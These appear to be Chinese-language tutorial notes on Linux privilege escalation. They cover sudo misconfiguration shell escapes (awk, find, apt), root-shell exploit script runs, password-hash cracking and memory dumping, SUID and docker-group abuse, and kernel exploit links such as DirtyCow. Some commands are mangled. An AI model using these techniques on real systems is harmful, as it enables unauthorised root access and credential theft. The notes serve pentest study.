sudo是linux系統管理指令,是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。這樣不僅減少了root用戶的登錄 和管理時間,同樣也提高了安全性。sudo不是對shell的一個代替,它是面向每個命令的。
sudo的幾個特點:
• sudo能夠限制用戶只在某臺主機上運行某些命令。
• sudo提供了豐富的日誌,詳細地記錄了每個用戶幹了什麼。它能夠將日誌傳到中心主機或者日誌伺服器。
• sudo使用時間戳文件來執行類似的「檢票」系統。當用戶調用sudo並且輸入它的密碼時,用戶獲得了一張存活期為5分鐘的票(這個值可以在編譯的時候改變)。
• sudo的配置文件是sudoers文件,它允許系統管理員集中的管理用戶的使用權限和使用的主機。它所存放的位置默認是在/etc/sudoers,屬性必須為0440。
sudoers文件主要有三部分組成:
• sudoers的默認配置(default),主要設置sudo的一些預設值
•alias(別名),主要有HostAlias|RunasAlias|UserAlias|CmndAlias
• 安全策略(規則定義)——重點。
語法:
• root ALL=(ALL) ALL
說明1:root用戶可以從 ALL終端作為 ALL(任意)用戶執行,並運行 ALL(任意)命令。
第一部分是用戶,第二部分是用戶可以在其中使用sudo命令的終端,第三部分是他可以充當的用戶,最後一部分是他在使用時可以運行的命令。sudo
• touhid ALL= /sbin/poweroff
說明2:以上命令,使用戶可以從任何終端使用touhid**的用戶密碼**關閉命令電源。
• touhid ALL = (root) NOPASSWD: /usr/bin/find
說明3:上面的命令,使用戶可以從任何終端運行,以root用戶身份運行命令find 而無需密碼。
sudo提權
sudo -l //查看是否有sudo配置
擁有sudo的ash、awk等權限
ash
sudo /bin/ash
awk
sudo awk 'BEGIN {system("/bin/sh")}'
find
sudo find . -exec /bin/sh \: -quit
man
sudo man man!
less
sudo less / etc / hosts!
more
sudo more / etc / hosts!
apt/yum
sudo apt-get update -o APT::Update::Pre-Invoke::=」/bin/bash -i」
sudo⼯具提權
https://github.com/wsfengfan/blog
1、exploit.sh
test:~$ sh exploit.sh
test:~$ sudo -i
root:~# id
uid=0(root) gid=0(root) groups=0(root)
2、exploit_v2.sh
test:~$ sh exploit_v2.sh
test:~$ /tmp/sh -p
root:~# id
uid=0(root) gid=0(root) groups=0(root)
3、exploit_v3.sh
test:~$ sh exploit_v3.sh
root:~# id
uid=0(root) gid=0(root) groups=0(root)
3.etc/passwd哈希
linux的用戶密碼哈希存儲在/etc/shadow文件,普通用戶能夠查看到的則是/etc/passwd這個文件,在/etc/passwd中,比如:root:x:0:0:root:/root:/bin/bash。帳戶的第二列是密碼哈希,如果該列為x則代表密碼哈希存儲在/etc/shadow文件上
md5解密
解密網站:
https://cmd5.com
https://www.somd5.com/
工具
John the Ripper 和 hashcat
Kali2.0集成了John the Ripper和hashcat
https://klionsec.github.io/2017/04/26/use-john/
https://klionsec.github.io/2017/04/26/use-hashcat-crack-hash/
mimipenguin
https://github.com/huntergregal/mimipenguin 原理類似於mimikatz,通過內存導出明文密碼
4.suid/guid文件提權
SUID是uid+s的組合,s指的是特殊權限。一般情況下,用戶的權限是3位,比如0755這樣的,特殊權限默認沒有配置,但是如果超級管理員希望用戶在執行一些特殊權限文件時,擁有root的權限,就會配置特殊權限。
如passwd命令用來修改/etc/shadow文件,而/etc/shadow文件只有root才可以修改,但系統為了讓普通用戶能夠修改自己的密碼,對passwd這個命令賦予了特殊權限並添加了只能修改自己密碼的限制。
由於passwd這個命令是做了限制,所以賦予特殊權限是沒有問題的,但是如果系統超級用戶特殊權限亂用,就會導致提權的問題。
使用如下命令快速查找所有SUID文件:
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
命令文件,xxd的作用是將一個文件以16進位的形式顯示出來。他被配置了特殊權限,並且用戶組為itservices是擁有執行權限x的。
suid和執行權限在一起就可能導致權限提升
利用有執行權限的SUID文件提權
參考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled
5.docker組提權
參考:
https://fosterelli.co/privilege-escalation-via-docker.html
6.內核漏洞提權
內核提權輔助工具
https://github.com/mzet-/linux-exploit-suggester
\#chmod 777 linux-exploit-suggester.sh
\#./linux-exploit-suggester.sh
示例:
image-20210106141918440
內核提權漏洞(依靠EXP)
\1. 在exploit-db、或者其他搜尋引擎上查找相關提權漏洞。
\2. 利用髒牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )
\3. 一般這種提權漏洞都是c的,需要gcc編譯 gcc filename -o outfilename 。
內核漏洞搜集項目:
https://github.com/lucyoa/kernel-exploits/
https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits
https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~
https://github.com/xairy/kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
常見漏洞:
\1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
\2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)
https://www.exploit-db.com/exploits/15285/
\3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))
https://www.exploit-db.com/exploits/15704/
\4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))
https://www.exploit-db.com/exploits/18411
髒牛提權https://blog.csdn.net/weixin_30455365/article/details/98036465